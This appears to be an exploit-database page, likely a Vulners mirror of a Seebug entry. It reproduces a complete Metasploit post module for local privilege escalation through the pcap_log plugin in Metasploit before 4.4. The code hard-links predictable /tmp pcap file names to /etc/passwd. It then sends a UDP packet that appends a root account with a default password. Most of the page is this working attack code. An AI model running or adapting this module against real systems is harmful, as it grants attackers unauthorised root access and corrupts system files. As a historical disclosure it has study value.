Lucene search
K

Metasploit < 4.4 - pcap_log Plugin Privilege Escalation Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

Metasploit < 4.4 - pcap_log Plugin Privilege Escalation Exploit. Creates pcap files in /tmp with predictable file names. Hard-links filenames to /etc/passwd, then sends a packet with a privileged user entry. Results in the creation of a new superuser account. Requires manual clean-up - remove /tmp/msf3-session*pcap files and truncate /etc/passwd

Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require &#39;msf/core&#39;
require &#39;rex&#39;
require &#39;msf/core/post/common&#39;
require &#39;msf/core/post/file&#39;
require &#39;msf/core/post/linux/priv&#39;
require &#39;msf/core/exploit/local/linux_kernel&#39;
require &#39;msf/core/exploit/local/linux&#39;
require &#39;msf/core/exploit/local/unix&#39;

load &#39;lib/msf/core/post/common.rb&#39;
load &#39;lib/msf/core/post/file.rb&#39;
load &#39;lib/msf/core/exploit/local/unix.rb&#39;
load &#39;lib/msf/core/exploit/local/linux.rb&#39;

class Metasploit3 &#60; Msf::Post
	Rank = ExcellentRanking

	include Msf::Post::File
	include Msf::Post::Common

	include Msf::Exploit::Local::Linux
	include Msf::Exploit::Local::Unix

	def initialize(info={})
		super( update_info( info, {
				&#39;Name&#39;	  =&#62; &#39;Metasploit pcap_log Local Privilege Escalation&#39;,
				&#39;Description&#39;   =&#62; %q{
					Metasploit &#60; 4.4 contains a vulnerable &#39;pcap_log&#39; plugin which, when used with the default settings,
					creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these
					filenames to /etc/passwd, then sending a packet with a priviliged user entry contained within.
					This, and all the other packets, are appended to /etc/passwd.

					Successful exploitation results in the creation of a new superuser account.

					This module requires manual clean-up - remove /tmp/msf3-session*pcap files and truncate /etc/passwd.
				},
				&#39;License&#39;       =&#62; MSF_LICENSE,
				&#39;Author&#39;	=&#62; [ &#39;0a29406d9794e4f9b30b3c5d6702c708&#39;],
				&#39;Platform&#39;      =&#62; [ &#39;linux&#39;,&#39;unix&#39;,&#39;bsd&#39; ],
				&#39;SessionTypes&#39;  =&#62; [ &#39;shell&#39;, &#39;meterpreter&#39; ],
				&#39;References&#39;    =&#62;
					[
						[ &#39;BID&#39;, &#39;54472&#39; ],
						[ &#39;URL&#39;, &#39;http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html&#39;], 
						[ &#39;URL&#39;, &#39;https://community.rapid7.com/docs/DOC-1946&#39; ],
					],
				&#39;DisclosureDate&#39; =&#62; &#34;Jul 16 2012&#34;,
				&#39;Targets&#39;       =&#62;
					[
						[ &#39;Linux/Unix Universal&#39;, {} ],
					],
				&#39;DefaultTarget&#39; =&#62; 0,
			}
			))
			register_options(
			[	
				Opt::RPORT(2940),
				OptString.new(&#34;USERNAME&#34;, [ true, &#34;Username for the new superuser&#34;, &#34;metasploit&#34; ]),
				OptString.new(&#34;PASSWORD&#34;, [ true, &#34;Password for the new superuser&#34;, &#34;metasploit&#34; ])
			], self)
	end

	def run
		print_status &#34;Waiting for victim&#34;
		initial_size = cmd_exec(&#34;cat /etc/passwd | wc -l&#34;)
		i = 60
		while(true) do
			if (i == 60)
				# 0a2940: cmd_exec is slow, so send 1 command to do all the links
				cmd_exec(&#34;for i in $(seq 0 120); do ln /etc/passwd /tmp/msf3-session_`date --date=\&#34;\$i seconds\&#34; +%Y-%m-%d_%H-%M-%S`.pcap ; done&#34;)
				i = 0
			end
			i = i+1
			if (cmd_exec(&#34;cat /etc/passwd | wc -l&#34;) != initial_size)
				# PCAP is flowing
				pkt = &#34;\n\n&#34; + datastore[&#39;USERNAME&#39;] + &#34;:&#34; + datastore[&#39;PASSWORD&#39;].crypt(&#34;0a&#34;) + &#34;:0:0:Metasploit Root Account:/tmp:/bin/bash\n\n&#34;
				print_status(&#34;Sending file contents payload to #{session.session_host}&#34;)
				udpsock = Rex::Socket::Udp.create(
				{
					&#39;Context&#39; =&#62; {&#39;Msf&#39; =&#62; framework, &#39;MsfExploit&#39;=&#62;self}
				})
				udpsock.sendto(pkt, session.session_host, datastore[&#39;RPORT&#39;])
				break
			end
			sleep(1)
		end

		if cmd_exec(&#34;(grep Metasploit /etc/passwd &#62; /dev/null && echo true) || echo false&#34;).include?(&#34;true&#34;) 
			print_good(&#34;Success. You should now be able to login or su to the &#39;metasploit&#39; user with password &#39;metasploit&#39;.&#34;)
		else
			print_error(&#34;Failed. You should manually verify the &#39;metasploit&#39; user has not been added&#34;)	
		end 
		# 0a2940: Initially the plan was to have this post module switch user, upload & execute a new payload
		#	  However beceause the session is not a terminal, su will not always allow this.		
	end
end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation